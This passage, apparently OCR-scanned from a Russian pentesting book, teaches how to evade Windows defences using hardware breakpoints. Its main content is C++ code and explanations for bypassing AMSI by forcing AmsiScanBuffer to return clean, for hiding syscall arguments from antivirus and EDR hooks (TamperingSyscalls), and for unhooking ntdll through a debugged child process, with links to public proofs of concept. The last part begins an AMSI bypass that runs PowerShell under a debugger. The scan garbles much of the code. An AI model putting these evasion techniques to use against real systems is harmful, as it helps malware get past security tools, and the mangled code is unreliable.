400 Часть Рис. 20.7. 111. Способы обхода средств защиты информации Бесконечная обработка исключения Возьмем прошлый код и переделаем его под UEF. #include <iostream> #include <windows.h> LONG WINAPI MyUnhandledExceptionHandler(PEXCEPTION_POINTERS exceptioninfo) { std: :cout « "Unhandled exception occurred!" « std: :endl; std: :cout « "Exception Code: " « exceptionlnfo->ExceptionRecord->ExceptionCode « std: : eпdl; std: :cout « "Exception Address: "« except1onlnfo->ExceptioпPecord->ExceptionAddress « std: :eпdl; returп EXCEPTION - CONTINUE - SEARCH;
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях 401 int main() if (SetUnhandledExceptionFilter(MyUnhandledExceptionНandler) == nullptr) std:: cout « "Failed to set the unhandled exception filter 1 " « std: :endl; return 1; int* *р р = nullptr; = 42; return О; Обратите внимание, что если вы запустите этот код в ошибку до Visual Studio, то она выдаст UEF (рис. 20.8). Рис. 20.8. Исключение от «Студии», а не от UEF Это связано с тем, что исключение в данном случае обрабатывает Если же файл будет запущен за пределами обработчика (рис. 20.9). IDE, Visual Studio. то мы получим успешный вызов
Часть 402 8 Администраrор: Windows Ро· Х о х . \САрр.ехе 1 Рис. Установить Способы обхода средств защиты информации + PS A:\SSD\ProjectsVS\CApp\xбЧ\Release> Unhandled exception occu.rred! Exception Code : 3221225Ч77 Exception Address : B00B7FF69Ч7Fl0FS PS А : \SSD\ProjectsVS\CApp\xбЧ\Release> Установка 111. 20.9. Вызов обработчика hardware breakpoint HWBP проще простого - достаточно лишь занести в нужный регистр адрес. Для большей абстракции я написал функцию setHWBP ( 1, ку да нужно передать адрес, по которому следует установить точку останова, булево значение (тRUE установить, FALSE - снять), а также номер регистра. Согласно документации адрес может быть указан в Dr0, Drl и т. д., но у меня почему-то работало только с oro. // address - адрес, по которому ставить функцию // setBP - FALSE - снять бряк, TRUE - установить // regnшner - номер регистра, который инициализировать адресом VOID SetHWBP(LPVOID address, В001 setBP, int regnшnЬer) ( // Здесь передаем О CONTEXT context = ( О }; context.ContextFlags = CONTEXT DEBUG REGISTERS; GetThreadContext (GetCurrentThread () , &context); // Почему-то бряк, если адрес записывать в регистры, отлич ные от Dr0, не срабатывает std::string registerNames[] = ( "Dr0 ", "Dr l ", "Dr2", " DrЗ" ); if (setBP} { DWORD64* registers( ] = ( &context.Dr0 , &context.Drl, &context . Dr2, &context.DrЗ }; if (regnшnЬer >= О && regnшnЬer < 4) ( *registers(regn шnЬer] = (DWORD64)address; std: :cout « "Writing Address to " « registerNames(regnшnЬerj « std: :endl;
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях else { std: :wcout « L"Invalid Registry exit(-1); NurnЬer" 403 « std: :endl; // Установка бита О в DR7 для активации DRO context.Dr7 1= 1; // Установка битов 16-17 в DR7 для тиnа точки останова {Execute) context.Dr7 1= {ОЬОО << 16); // Установка битов 18-19 в DR7 для длины точки останова {1 byte) context.Dr7 1= (ОЬОО << 18); else { context.DrO context.Drl context.Dr2 context.DrЗ О; О; О; О; context.Dr7 &= ~{1 « О); context.ContextFlags = CONTEXT_DEBUG_REGISTERS; SetThreadContext{GetCurrentThread(), &context); Для получения GetThreactcontext () значения регистров текущего потока используется функция (https:/Лearn.microsoft.com/en-us/windows/win32/api/processthreads api/nf-processthreadsapi-getthreadcontext), а для установки измененных значений используется setThreactcontext () (https://learn.microsoft.com/en-us/windows/win32/ api/processthreadsapi/nf-processthreadsapi-getthreadcontext). Причем, если мы хотим обрабатывать только исключения, сработавшие из-за HWBP, в нашей функции-обработчике следует предусмотреть проверку на наличие в структуре EXCEPTION_POINTERS элемента ExceptionCode, равного STAТUS_SINGLE_STEP. Это значение свидетельствует о том, что возникло событие, когда одна инструкция за­ вершается и следующая инструкция готова к выполнению. LONG WINAPI Handler(PEXCEPTION_POINTERS exceptioninfo) { if (exceptioninfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) std: :cout << "Unhandled exception occurred!" « std: :endl; // Проверка, что реально наш бряк сработал if (exceptioninfo->ContextRecord->DrO == exceptioninfo->ContextRecord->Rip 11 exceptioninfo->ContextRecord->Drl == exceptioninfo->ContextRecord->Rip exceptioninfo->ContextRecord->Dr2 == exceptioninfo->ContextRecord->Rip exceptioninfo->ContextRecord->DrЗ == exceptioninfo->ContextRecord->Rip) { s td: : cout « " [- ] Breakpoint triggered Ох" « std: : hex « exceptioninfo-> ExceptionRecord->ExceptionAddress << std: :endl; std:: cout « " [ 1 ] Exception Code Ох" « std: :hex « exceptioninfo-> ExceptionRecord->ExceptionCode << std: :endl; 11 11
Часть 404 std: :cout std::cout std: :cout std: :cout « " [ ! ] RIP << " [ ! ] RAX « " [ ! ] RCX « " [ ! ] RDX Ох" Ох" 111. Способы обхода средств защиты информации « std::hex << exceptionlnfo->ContextRecord->Rip << std: :endl; « std::hex << exceptionlnfo->ContextRecord->Rax << std: :endl; Ох" << std::hex << exceptionlnfo->ContextRecord->Rcx << std: :endl; Ох" « std::hex << exceptionlnfo->ContextRecord->Rdx << std: :endl; exceptionlnfo->ContextRecord->EFlags 1= (1 << 16); return EXCEPТION_CONТINUE_EXECUТION; 1 // Вернем EXCEPTION_CONTINUE_SEARCH, return EXCEPТION- CONТINUE- SEARCH; чтобы передать исКJIЮЧение дальше Использовать в своей программе этот код проще простого. Вот пример. #include <iostream> #include <windows.h> LONG WINAPI Handler(PEXCEPТION_POINTERS exceptionlnfo) 1 if (exceptionlnfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) std::cout « "Unhandled exception occurred!" « std::endl; // Проверка того, что наш бряк реально сработал if (exceptionlnfo->ContextRecord->DrO == exceptionlnfo->ContextRecord->Rip 11 exceptionlnfo->ContextRecord->Drl = exceptionlnfo->ContextRecord->Rip 11 exceptionlnfo->ContextRecord->Dr2 = exceptionlnfo->ContextRecord->Rip 11 exceptionlnfo->ContextRecord->DrЗ = exceptionlnfo->ContextRecord->Rip) { std: : cout « " [- ] Breakppint triggered " « std: : hex « exceptionlnfo-> ExceptionRecord->ExceptionAddress << std: :endl; std: :cout « "[!] Exception Code" « std::hex « exceptionlnfo-> ExceptionRecord->ExceptionCode « std: :endl; std: :cout « "[ !] RIP" « std::hex << exceptionlnfo->ContextRecord->Rip << std: :endl; std: :cout « "[ !] RAX" « std::hex << exceptionlnfo->ContextRecord->Rax << std: :endl; std: :cout « "[ !] RCX" « std::hex << exceptionlnfo->ContextRecord->Rcx << std: :endl; std: :cout « "[ !] RDX" « std::hex « exceptionlnfo->ContextRecord->Rdx « std: :endl; std: :cout « "[ !] RB "« std::hex « exceptionlnfo->ContextRecord->RB « std::endl; std: :cout « "[ !] R9" « std::hex « exceptioninfo->Co!ltextRecord->R9 « std::endl; std: :cout « "[ !] RSP" « std::hex « exceptionlnfo->ContextRecord->Rsp « std: :endl; std: :cout « "[!] DrO "« std::hex « exceptionlnfo->ContextRecord->Dr0 « std: :endl; exceptionlnfo->ContextRecord->EFlags 1= (1 << 16); return EXCEPТION- CONTINUE- EXECUТION; ) // Вернем EXCEPTION_CONTINUE_SEARCH, return EXCEPTION- CONTINUE- SEARCH; чтобы передать исключение дальше
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях VOID SetHWBP(LPVOID address, BOOL setBP, int regnшnЬer) CONTEXT context = ( О ); context.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(GetCurrentThread(), &context); // Почему-то бряк, если адрес записывать в регистры, отличные от Dr0, не срабатывает std: :string registerNarnes[] = ( "Dr0", "Drl", "Dr2", "DrЗ" ); if (setBP) ( DWORD64* registers[] = ( &context.Dr0, &context.Drl, &context.Dr2, &context.DrЗ ); if (regnшnЬer >= О && regnшnЬer < 4) ( *registers[regnшnЬer] = (DWORD64)address; std::cout « "Writing Address to" « registerNarnes[regnшnЬer] « std::endl; else std: :wcout « L"Invalid Registry exit(-1); NшnЬer" « std: :endl; // Установка бита 1 в DR7 для активации DR0 context.Dr7 1= 1; // Установка битов 16-17 в DR7 для типа точки останова (Execute) context.Dr7 1= (ОЬОО << 16); // Установка битов 18-19 в DR7 для длины точки останова (1 byte) coпtext.Dr7 1= (ОЬОО << 18); else context.DrO context.Drl context.Dr2 context.DrЗ О; О; О; О; context.Dr7 &= ~(1 « О); ) context.ContextFlags = CONTEXT DEBUG REGISTERS; SetThreadContext(GetCurrentThread(), &context); int main() if (AddVectoredExceptionНandler(l, Handler) == nullptr) std::cout « "Failed to set the vectored exception filter 1 " « std::endl; return 1; // Адрес функции printf void* targetAddress = (void*)printf; SetНWВP(targetAddress, TRUE, О); // Генерация сигнала точки printf("Hello, world 1"); останова 405
Часть 406 return ///. Способы обхода средств защиты информации О; Здесь был установлен HWBP по адресу функции printf 1) . Как только система дошла до вызова этой функции, сработало исключение, вызвался обработчик исключений, вывел содержимое регистров, а затем вернул управление на функцию, что привело к появлению в консоли Hello , wo r ld ! (рис. Рис. 20.1 О. 20 .1О). Сработавший HWBP Теперь мы научились ставить бряки. Как же их использовать для пентестерских целей? Обход У AMSI AMSI есть функция AmsiS canBuffer (), которая служит для сканирования буфера на предмет наличия зловредов. Ничто нам не мешает поставить HWBP на эту функ­ цию, перехватить поток управления и заставить функцию вернуть AМSI _RES ULT _ CLEAN. Этот метод уже давно известен, и код лежит на GitHub: https://gist.github.com/ ССоЬ/fе3 b63d80890fafeca982fi 6c8a3efdf.
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях 407 Причем, если нам не подходит реализация на С++, есть на С#, проект называется SharpBlock используя (https://github.com/CCoЬ/SharpBlock). хардверные брейк-пойнты. Для Он этого патчит вынесен и ETW, отдельный метод AMSI EnaЬleBreakpoint(). Обратите внимание, что в зависимости от архитектуры используются разные ме­ тоды. Если у нас х86, то адрес следует конвертировать <addr>. Toint32 (), а когда в х64, то <addr>. Toint64 () (рис. с 20.11, 20.12). Рис. 20.11. Функция EnaЫeBreakpoint для х86 Рис. 20.12. Функция EnaЫeBreakpoint для х64 помощью метода
Часть 408 111. Способы обхода средств защиты информации Извлечение номеров сисколов Сисколы позволяют напрямую обратиться к ядру операционной системы, что по­ может избежать хуков в user mode. Подробно сисколы я рассматривал в материале Hell's Gate и обходим антивирус» (https://xakep.ru/ «Врата ада. Переписываем Сейчас 2023/08/08/hells-gate/). же предлаrаю использует UEF на проект Этот проект внимание обратить TamperingSyscalls (https://github.com/rad9800/famperingSyscalls). для извлечения номеров сисколов. Сначала просто ставится функ­ ция-обработчик. SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler ); Следом идет поиск адреса Nt* функции и установка бряка на адрес syscall этой функции. Для этого точка останова ставится непосредственно на саму инструкцию. Адрес инструкции находится стандартным сканированием памяти на паттерны (а именно на последовательность байтов OfOS). LPVOID FindSyscallAddress( LPVOID function) { = { OxOF, for( unsigned int i = БУТЕ stuЬ[] ); i < (unsigned int)25; i++ ) Ох05 О; { if( memanp( (LPVOID) ((DWORD_PТR)function + i), return (LPVOID) ((DWORD_PTR)function + i); stuЬ, 2 ) =О) { return NULL; Когда адрес найден, на него устанавливается хардверный брейк-пойнт с помощью следующей функции: VOID SetOneshotнardwareBreakpoint( LPVOID address { СОNТЕХТ context = { О }; context.ContextFlaqs = CONТEXТ_DEВUG_REGISTERS; GetТhreadContext( GetCUrrentТhread(), &context }; context.DrO context.Dr6 context.Dr7 context.Dr7 context.Dr7 = = = = = (DWORD64}address; О; (context.Dr7 & ~({(1 « 21 - 1) « 16)) 1 (О« 16); (context.Dr7 & ~(((1 « 2) - 1) « 18)) 1 (О« 18); (context.Dr7 & ~(((1 « 1) - 1) « 0)) 1 (1 « О); context.ContextFlaqs = CONТEXТ_DEВUG_REGISTERS; SetТhreadContext( GetCurrentТhread(), return; &context );
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях 409 Например, если мы хотим засисколить функцию NtмapViewOfSection (), то сначала генерируем нужный код с помощью файла gen.py. pyf:hon gen.py NtMapViewOfSection Это приведет к созданюо трех файлов: TamperingSyscalls.cpp, TamperingSyscalls.h и q.µ.n.cpp. Включаем файлы в проект, после чего подключаем заголовочный. tinclude "TamperingSyscalls.h" И вызываем нужные функции, просто добавляя р к имени. pNtмapViewOfSection( section, NtCurrentProcess(), &addr, О, О, NULL, &size, 1, О, PAGE_REAOONLY ); Внутри сгенерированной функции идет получение адреса NtМapViewOfSection () из ntdl.l.dll. pNtMapViewOfSection( НANDLE SectionНandle, НANDLE ProcessHandle, PVOID ВaseAddress, ULONG ZeroBits, SIZE Т CommitSize, PLARGE INТEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType,-ULONG Win32Protect) { LPVOID FunctionAddress; NТSTATUS status; hash( NtMapViewOfSection ); FunctionAddress = GetProcAddrExН( hashNtMapViewOfSection, hashNТDLL ); typeNtMapViewOfSection fNtМapViewOfSection; NТSTATUS pNtMapViewOfSectionArgs.SectionНandle = SectionНandle; pNtMapViewOfSectionArgs.ProcessHandle = ProcessHandle; pNtMapViewOfSectionArgs.BaseAddress = BaseAddress; pNtMapViewOfSectionArgs.ZeroBits = ZeroBits; pNtMapViewOfSectionArgs.CommitSize = CommitSize; pNtMapViewOfSectionArgs.SectionOffset = SectionOffset; ЯN~MapViewOfSectionArgs.ViewSize = ViewSize; pNtMapViewOfSectionArgs.InheritDisposition = InheritDisposition; pNtMapViewOfSectionArgs.AllocationType = AllocationType; pNtMapViewOfSectionArgs.Win32Protect = Win32Protect; fNtMapViewOfSection = (typeNtMapViewOfSection)FunctionAddress; EnшnState = NТМAPVIEWOFSECTION ENUМ; SetOneshotHardwareBreakpoint( FindSyscallAddress( FunctionAddress ) ); status = fNtMapViewOfSection( NULL, NULL, NULL, NULL, pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.SectionOffset, pNtMapViewOfSectionArgs.ViewSize, pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.AllocationType, pNtMapViewOfSectionArgs.Win32Protect ) ; return status; Для получения адреса используется техника API Hashing, которую я демонстриро­ API Hashing, чтобы обдурить анти­ (https://xakep.ru/2023/10/06/api-hashing/). Хеш считается с помощью одно­ вал в статье «Веселые хеши. Реализуем технику вирус» именного макроса. #define hash( VAL) constexpr auto CONCAT( hash, VAL) = НASНALGO( TOКENIZE( VAL) );
Часть 410 111. Способы обхода средств защиты информации Далее инициализируются все элементы структуры NtMapViewOfSectionArgs: typedef struct { НANDLE SectionНandle; ProcessHandle; BaseAddress; PVOID ZeroBits; ULONG CommitSize; SIZE Т SectionOffset; PLARGE INTEGER ViewSize; PSIZE Т DWORD InheritDisposition; AllocationType; ULONG Win32Protect; ULONG ) NtMapViewOfSectionArgs; НANDLE, Эта структура содержит информацию обо всех аргументах функции NtMapViewOfSection, которые будут применяться в дальнейшем. Затем устанавливается специальное значение Enшnstate, благодаря которому отлад­ чик сможет понять, бряк на какую функцию сработал. Наконец, происходит непо­ средственно вызов Nt-функции, адрес которой был получен ранее. status = fNtMapViewOfSection( NULL, NULL, NULL, NULL, pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.SectionOffset, pNtMapViewOfSectionArgs.ViewSize, pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.AllocationType, pNtMapViewOfSectionArgs.Win32Protect ) ; Обратите внимание, что первыми четырьмя параметрами мы передаем NULL. Именно эти параметры, скорее всего, будет анализировать антивирус до выполнения инст­ рукции syscall. Но мы на их место передаем NULL, что сбивает антивирус с толку: он не может принять решение, легитимный это вызов или нет, в результате чего про­ пускает (рис. вызов. Фактически таким образом мы обошли потенциальный хук 20.13). jmp 0xANTIVIRUSHOOКADDR~--noтoк управления получает АВ. Сканирует первые четыре NULL-napaмeтpa. add byte ptr ds:[rax],al Видит, что всl! нормально, пускает add dh,dh syscall А вот эдесь стоит Рис. HWBP. 20.13. который восстанавливает правильные аргументы Зачем нужны NULL-napaмeтpы Восстановление параметров происходит как раз таки в функции-обработчике НWВР. LONG WINAPI OneShotHardwareBreakpointHandler( PEXCEPTION_POINTERS Exceptioninfo { 1f( Exceptioninfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях 411 if ( Exceptioninfo->ContextRecord->Dr7 & 1 ) ( // If the Exceptioninfo->ContextRecord->Rip == Exceptionlnfo->ContextRecord->Dr0 // Then we are at the one shot breakpoint address // Exceptioninfo->ContextRecord->Rax should hold the syscall nW!IЬer PRINT( "Syscall : 0x%x\n", Exceptionlnfo->ContextRecord->Rax); if ( Exceptionlnfo->ContextRecord->Rip == Exceptioninfo->ContextRecord->Dr0 ) ( О; Exceptioninfo->ContextRecord->Dr0 // You need to f1x your arguments 1n the right registers and stack here switch( EnumState ) ( // RCX moved into Rl0 11 ' Kudos to @anthonyprintup for catching this case NTМAPVIEWOFSECTION ENUМ: Exceptioninfo->ContextRecord->Rl0 (DWORD _PTR) 1 (NtMapViewOfSectionArgs *) (StateArray [EnumState) . arguments)) ->SectionНandle; Except1oninfo->ContextRecord->Rdx = 1DWORD_PTR) ( (NtMapViewCfSectionArgs *) (StateArray [EnumState) . arguments)) ->ProcessHandle; Except1oninfo->ContextRecord->R8 = (DWORD_PTR) 1(NtMapViewOfSectionArgs*) (StateArray[EnumState] .arguments))->BaseAddress; Exceptioninfo->ContextRecord->R9 = (DWORD_PTR) ( (NtMapViewOfSectionArgs*) (StateArray [EnumState] . arguments)) ->ZeroBits; break; case NTUNМAPVIEWOFSECTION ENUМ: Exceptioninfo->ContextRecord->Rl0 (DWORD_PTR) ( (NtUnmapViewOfSectionArgs*) (StateArray [EnumState] . arguments)) ->ProcessHandle; Exceptioninfo->ContextRecord->Rdx = (DWORD_PTR) ( (NtUnmapViewOfSectionArgs*) (StateArray [EnumState] . arguments)) ->BaseAddress; break; case NTOPENSECTION ENUМ: Exceptionlnfo->ContextRecord->Rl0 (DWORD_ PTR 1 ( (NtOpenSect ionArgs *) (Sta teArra у [EnumState] . arguments) ) ->Sect1onНandle; Exceptioninfo->ContextRecord->Rdx = (DWORD_PTR) ( (NtOpenSectionArgs*) (StateArray[EnumState] .arguments) )->DesiredAccess; Exceptioninfo->ContextRecord->R8 = (DWORD_PTR) ( (NtOpenSectionArgs*) (StateArray [EnumState] . arguments)) ->Obj ectAttributes; break;
Часть 412 111. Способы обхода средств защиты информации // You have messed up Ьу not providing the indexed state default: Exceptioninfo->ContextRecord->Rip += 1; // Just so we don't hang break; return EXCEPTION CONTINUE EXECUTION; - - return EXCEPTION - CONTINUE- SEARCH; Сначала эта функция проверяет, что исключение действительно хардверное. Для этого происходит сравнение со значением sтдтus _SINGLE_STEP, об этой проверке я рас­ сказывал выше. Далее система проверяет, что хардверный брейк-пойнт был включен (должно быть значение 1 у 0р7). Следующим шагом из регистра Rax извлекается номер сискола, который был туда занесен. После чего проверяем, что адрес следующей выполняе­ мой инструкции (syscall) действительно лежит в Dp0, т. е. установленный на нее бряк действительно сработал. После чего значения EnumState, HWBP снимается и начинается проверка которое инициализировали ранее. Это нужно для корректной инициализации всех параметров функции. Если все прошло успешно, срабатывает бряк, а за ним - EXCEPТION_CONTINUE_EXECUTION, что приводит к выполнению сискола с нужными нам параметрами. Фактически мы «пробрасываем параметры» в обход , EDR. техника применяется и в HWSyscalls (https://github.com/Shor~e~/ НWSyscalls), есть даже отдельный шелл-код-лоадер (https://github.com/flory~W NtRemoteLoad). Похожая 'i Анхукинг очень полезная штука! Их можно использовать и для снятия Хардверные бряки - хуков в юзермоде. Для этого нужно предварительно создать дочерний процесс, став для него дебаггером. После этого установить функция вызывается при загрузке ную LoadLibrary 1) вируса» DLL HWBP в процесс, на ее основе я написал собствен­ подробнее в статье «Молчи и скрывайся. Прячем IA Т от анти­ (https://xakep.ru/2023/09/05/hiding-iat/). Далее остается лишь проверять имена загружаемых ко на функцию LdrLoadDll 1). Эта DLL, разрешая подгрузку толь­ ntdll. dll. Убедившись, что отлаживаемый процесс загрузил ntdll. dll, мы копиру­ ем ее содержимое в свой собственный процесс и перезаписываем ntdll. dll нашего текущего процесса, что и приводит к анхукингу. Техника называется существует (рис. 20.14). готовый РоС: BlindSide, https://github.com/CymulateResearch/Blindside/tree/main
Глава 20. Используем хардверные брейк-пойнты в пентестерских целях 413 Дочерний процесс процесс Haw под отладкой -----~--===~~-::> Запуск дочернеrо процеа:а Получение адреса LdrLoadDII() Установка HWBP на LdrLoadDII() Загружается ntdll.dll Остальные блокируются Копируем в наш npouecc __ .....,. содержимое ntdll.dll ✓ Снимаем хук путем перезаписи ntdll.dll текущеrо процесса Рис. Пишем кастомный 20.14. Алгоритм снятия хуков GetThreadContext() Мне кажется, мы недостаточно хорошо прошлись по параметрам, которые приле­ тают в функцию-обработчик. Что ж, исправляюсь. Функция-обработчик принимает структуру соNтЕхт winnt-context), (https://learn.microsoft.com/ru-ru/windows/win32/api/winnt/ns- содержащую информацию о значении всех регистров потока. Но проблема в том, что регистры х64 отличаются от регистров х86, поэтому есть также структура wow64_CONTEXT (https://learn.microsoft.com/en-us/windows/win32/api/winnt/ ns-winnt-wow64_context), где хранятся значения регистров у программ для х86. Мы можем использовать эти данные для получения структуры CONTEXT, чтобы избе­ жать подозрительной функции GetThreadcontext () . Вот пример кода. #include <iostream> #include <Windows.h> #ifdef void WIN64 ShowContext(CONТEXT std: :cout std: :cout std::cout « « « std: :cout << std: :cout « ctx) "Context values:" << std: :endl; "PlHome: " ctx.PlНome "P2Home: ctx.P2Home « « ctx.PЗHome << std: :endl; "РЗНоmе: "P4Home: « "« " « " « std: :endl; std::endl; ctx.P4Home << std: :endl;
414 std: :cout std: :cout std: :cout std: :cout std: :cout std: :cout std: :cout std:: cout std::cout std::cout std: :cout std::cout std: :cout std: :cout std: :cout std::cout std::cout std: :cout std: :cout std::cout std::cout std: :cout std: :cout std::cout std:: cout std: :cout std::cout std: :cout std: :cout std:: cout std: :cout std: :cout std:: cout std: :cout Часть 111. Способы обхода средств защиты информации << "PSHome: " « ctx.PSHome << std: :endl; « "P6Home: " << ctx.P6Home << std: :endl; « "ContextFlags: " << ctx.ContextFlags « std: :endl; « "MxCsr: " « ctx.MxCsr « std: :endl; « "SegCs: " « ctx.SegCs « std: :endl; « "SegDs: 11 << ctx.SegDs « std: :endl; « "SegEs: " « ctx.SegEs « std: :endl; « "SegFs: " « ctx.SegFs « std: :endl; « "SegGs: " « ctx.SegGs << std: :endl; « "SegSs: " « ctx.SegSs « std: :endl; « "EFlags: " << ctx.EFlags << std: :endl; « "Dr0: " « ctx.Dr0 « std:: endl; « "Drl: " « ctx.Drl « std: :endl; « "Dr2: " « ctx.Dr2 « std: :endl; « 11 DrЗ: " « ctx.DrЗ « std:: endl; « 11 Dr6: " « ctx.Drб « std:: endl; « "Dr7: " « ctx.Dr7 « std: :endl; « "Rax: " « ctx.Rax « std: :endl; « "Rcx: " « ctx.Rcx « std: :endl; « 11 Rdx: " « ctx.Rdx « std: :endl; « 11 RЬх: " « ctx.RЬx « std: :endl; « "Rsp: " « ctx.Rsp « std:: endl; « "RЬр: " « ctx.RЬp « std: :endl; « 11 Rsi: " « ctx.Rsi « std:: endl; « "Rdi: " « ctx.Rdi « std:: endl; « "R8: 11 « ctx.R8 « std: :endl; « "R9: " « ctx.R9 « std: :endl; « "Rl0: 11 « ctx.Rl0 « std: :endl; « 11 Rll: 11 « ctx.Rll « std: :endl; « 11 R12: 11 « ctx.R12 « std: :endl; « "RlЗ: " « ctx.RlЗ « std: :endl; « "R14: 11 « ctx.R14 « std: :endl; « 11 Rl5: 11 << ctx.RlS « std:: endl; « "Rip: " « ctx.Rip « std:: endl; #endif void ShowContext32(CONTEXT ctx) std: :cout « "Context values: 11 « std: :endl; std::cout « "ContextFlags: " << ctx.ContextFlags « std:: endl; std: :cout « "Dr0: " « ctx.Dr0 « std: :endl; std: :cout « "Drl: " « ctx.Drl « std: :endl; std: :cout « "Dr2: " « ctx.Dr2 « std: :endl; std:: cout « "DrЗ: " << ctx.DrЗ « std: :endl; std:: cout « "Drб: 11 « ctx.Drб « std: :endl; std::cout « "Dr7: " « ctx.Dr7 « std: :endl; std::cout « "SegGs: " « ctx.SegGs « std: :endl; std: :cout « "SegFs: " « ctx.SegFs « std:: endl;
Глава 20. std::cout std::cout std::cout std:: cout std::cout std: :cout std::cout std:: cout std::cout std::cout std::cout std::cout std::cout std: :cout Используем хардверные брейк-пойнты в пентестерских целях << "SegEs: " « ctx.SegEs << std: :endl; « "SegDs: " « ctx.SegDs « std: :endl; « "Edi: " << ctx.Edi « std:: endl; « "Esi: " « ctx.Esi « std: :endl; << "ЕЬх: " « ctx.Ebx « std:: endl; << "Edx: " « ctx.Edx << std:: endl; « "Есх: " « ctx.Ecx « std::endl; « 11 Еах: " « ctx.Eax « std: :endl; « "ЕЬр: " « ctx.Ebp « std: :endl; « "Eip: " « ctx.Eip « std:: endl; « "SegCs: " « ctx.SegCs « std: :endl; « "EFlags: " « ctx. EFlags « std: :endl; « "Esp: " « ctx.Esp « std: :endl; << "SegSs: " << ctx.SegSs << std: :endl; LONG WINAPI Handler(PEXCEPTION_POINTERS Exceptioninfo) ( std::cout « "[+] GetThreadContext Result:" « std::endl; static int value = О; value += 1; #ifdef WIN64 PCONTEXT ctx = Exceptioninfo->ContextRecord; ShowContext(*ctx); #else PCONTEXT ctx = Exceptioninfo->ContextRecord; ShowContext32(*ctx); #endif if (value == 2) { value = О; return EXCEPTION- CONTINUE - SEARCH; else return EXCEPTION - CONTINUE - EXECUTION; void CustomGetThreadContext() { AddVectoredExceptionHandler(l, Handler); try 1 throw "exception"; catch ( ... ) ( RemoveVectoredExceptionHandler(Handler); return; 415
Часть 416 111. Способы обхода средств защиты информации int main() CustomGetThreadContext(); return О; Ставим хуки Наконец, самое сочное - установка хуков. Алгоритм не отличается ровным счетом ничем. Умельцы давно реализовали в виде милой DLL-библиотеки, мне остается лишь приложить ссылку на РоС: https://github.com/rad9800/hwbp4mw. Заключение Использование аппаратных точек останова в пентестерских целях - обычное и смелое решение, которое встречается редко. Самое главное очень не­ - грамотно обрабатывать исключения, которые вы сами себе делаете. Ведь если что-то забуде­ те обработать, то ваша программа упадет и придется все запускать заново.
ГЛАВА 21 Изучаем новый способ обхода в AMSI Windows Antimalware Scan lnterface - система, вредоносных сценариев на PowerShell. которую в Microsoft создали для защиты от В этой главе я продемонстрирую, как рабо­ тает один из методов обхода этого механизма. Мы будем запускать сценарий PowerShell как процесс под отладкой, что откроет некоторые интересные возмож­ ности. На высоком уровне AMSI хукает каждую команду или сценарий во время выпол­ нения и передает их локальному антивирусному ПО для проверки. Причем под­ держиваются практически любые антивирусы, это может быть не только стандарт­ ный Defender. AMSI □ с умеет работать: PowerShell; □ Windows Script Host (wscript □ JavaScript и и cscript); VBScript; □ УВА-макросами. Проблема такой реализации в том, что amsi. dll (в которой реализована вся логика AMSI) находится в адресном пространстве текущего процесса. Как следствие, у атакующих появляется возможность манипулировать этой библиотекой так, как они захотят сами. Уже придумано множество способов обхода, это и amsilnitFailed, и хукинг, и патчинг. Сегодня мы обсудим еще один метод обхода- запуск процес­ са PowerShell в режиме отладки. Становимся дебаггером Недавно я обнаружил интересную АРl-функцию DebugActiveProcess(), которая позво­ ляет нашему процессу стать дебаггером для другого процесса. Прототип у нее очень простой, ей нужно передать лишь живать. PID процесса, который требуется отла­
Часть 418 111. Способы обхода средств защиты информации DebugActiveProcess( [in) DWORD dwProcessid В001 ); К сожалению, абы какой процесс отлаживать не получится. У спешный вызов этой функции получится, только если выполняется хотя бы одно из следующих условий: □ у токена нашего процесса есть seDebugPrivilege; □ мы можем запросить хендл на отлаживаемый процесс с маской PROCESS _ALL_ACCESS. Казалось бы, требования более чем серьезные, но ничто не мешает нам запустить powershell. ехе как дочерний, а на дочерний процесс наш родительский уж сможет запросить маску PROCESS _ALL _ACCESS. процесс точно Что же нам даст статус дебаггера? Единственное преимущество - возможность обрабатывать DеЬug-события, среди которых LOAD_DLL_DEBUG_EVENT. Событие генери­ руется сразу же, как только идет попытка загрузки DLL в адресное пространство отлаживаемого процесса. Причем будет заполнена структура LOAD_DLL_DEBUG_ INFO, со­ держащая базовый адрес подгружаемой библиотеки. А с базовым адресом уже можно наворотить немало дел ... Предлагаю перейти к практике. Во-первых, мы не можем слепо взять и запустить процесс, а потом непонятно когда прицепиться к нему отладчиком - так есть шанс пропустить момент загрузки amsi. dll в процесс. Поэтому процесс должен быть запущен с флагом CREATE_susPENDED. Во-вторых, из-за того, что мы никак не обраба­ тываем DеЬug-события, приложение может упасть. Поэтому после того, как про­ патчим AМSI, следует как можно скорее переставать быть дебаггером. Для создания процесса я написал отдельную функцию StartProcessSuspended (). DWORD StartProcessSuspended(LPWSTR ProcName, STARTUPINFO si = { О ); PROCESS_INFORМATION pi = { О ); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW SHOWNORМAL; НANDLE& hThread, НANDLE& hProc) { if (!CreateProcess(ProcName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED 1 CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { DWORD err = GetLastError(); std::cout « h("[-) Cant Create Suspended Process: ") « еп «" "« GetWinapiErrorDescription(err) << std: :endl; return -1; hThread = pi.hThread; hProc = pi.hProcess; #ifdef DEBUG std::cout « h("(+] Process Created Successfully") « std::endl; #endif
